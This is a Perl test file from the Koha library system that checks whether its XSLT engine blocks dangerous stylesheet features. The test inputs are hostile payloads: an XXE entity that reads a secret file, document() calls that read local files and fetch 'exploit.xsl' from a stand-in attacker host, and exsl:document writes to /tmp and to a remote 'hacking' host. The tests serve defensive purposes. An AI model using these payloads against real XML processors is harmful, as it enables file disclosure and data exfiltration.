3 # Copyright 2019 Rijksmuseum
5 # This file is part of Koha.
7 # Koha is free software; you can redistribute it and/or modify it
8 # under the terms of the GNU General Public License as published by
9 # the Free Software Foundation; either version 3 of the License, or
10 # (at your option) any later version.
12 # Koha is distributed in the hope that it will be useful, but
13 # WITHOUT ANY WARRANTY; without even the implied warranty of
14 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 # GNU General Public License for more details.
17 # You should have received a copy of the GNU General Public License
18 # along with Koha; if not, see <http://www.gnu.org/licenses>.
21 use Data::Dumper qw/Dumper/;
22 use File::Temp qw/tempfile/;
23 use Test::More tests => 8;
29 t::lib::Mocks::mock_config( 'koha_xslt_security', { expand_entities_unsafe => 1 } );
30 my $engine=Koha::XSLT::Base->new;
32 my $secret_file = mytempfile('Big secret');
34 <!DOCTYPE test [<!ENTITY secret SYSTEM "$secret_file">]>
35 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
36 <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
37 <xsl:variable name="secret">&secret;</xsl:variable>
38 <xsl:template match="/">
39 <secret><xsl:value-of select="\$secret"/></secret>
43 my $output= $engine->transform({ xml => "<ignored/>", code => $xslt });
44 like($output, qr/Big secret/, 'external entity got through');
46 t::lib::Mocks::mock_config( 'koha_xslt_security', { expand_entities_unsafe => 0 } );
47 $engine=Koha::XSLT::Base->new;
48 $output= $engine->transform({ xml => "<ignored/>", code => $xslt });
49 unlike($output, qr/Big secret/, 'external entity did not get through');
51 # Adding a document call to trigger callback for read_file
52 # Does not depend on expand_entities.
54 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
55 <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
56 <xsl:template match="/">
57 <read_file><xsl:copy-of select="document('file://$secret_file')"/></read_file>
61 warnings_like { $output= $engine->transform({ xml => "<ignored/>", code => $xslt }); }
62 [ qr/read_file called in XML::LibXSLT/, qr/runtime error/ ],
63 'Triggered security callback for read_file';
67 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
68 <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
69 <xsl:template match="/">
70 <exsl:document href="file:///tmp/breached.txt" omit-xml-declaration="yes" method="text"><xsl:text>Breached!</xsl:text></exsl:document>
74 warnings_like { $output= $engine->transform({ xml => "<ignored/>", code => $xslt }); }
75 [ qr/write_file called in XML::LibXSLT/, qr/runtime error/ ],
76 'Triggered security callback for write_file';
80 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
81 <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
82 <xsl:template match="/">
83 <xsl:copy-of select="document('http://bad.koha-community.org/dangerous/exploit.xsl')" />
87 warnings_like { $output= $engine->transform({ xml => "<ignored/>", code => $xslt }); }
88 [ qr/read_net called in XML::LibXSLT/, qr/runtime error/ ],
89 'Triggered security callback for read_net';
93 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
94 <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
95 <xsl:template match="/">
96 <exsl:document href="http://hacking.koha-community.org/breached.txt" omit-xml-declaration="yes" method="html">
97 <xsl:text>Breached!</xsl:text>
102 warnings_like { $output= $engine->transform({ xml => "<ignored/>", code => $xslt }); }
103 [ qr/write_net called in XML::LibXSLT/, qr/runtime error/ ],
104 'Triggered security callback for write_net';
106 # Check remote import (include should be similar)
107 # Trusting koha-community.org DNS here ;)
108 # This should not trigger read_net but fail on the missing import.
110 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
111 <xsl:import href="http://notexpected.koha-community.org/noxsl/nothing.xsl"/>
112 <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
113 <xsl:template match="/"/>
116 $engine->print_warns(1);
119 local $SIG{__WARN__} = sub { push @warn, $_[0]; };
120 $output= $engine->transform({ xml => "<ignored/>", code => $xslt });
121 is( ( grep { /failed to load external/ } @warn ), 1, 'Expected import error. Additional info: '.Dumper(@warn) );
122 is( ( grep { /read_net/ } @warn ), 0, 'No read_net warn for remote import' );
126 my ($fh, $fn) = tempfile( UNLINK => 1 );
127 print $fh $_[0] if $_[0];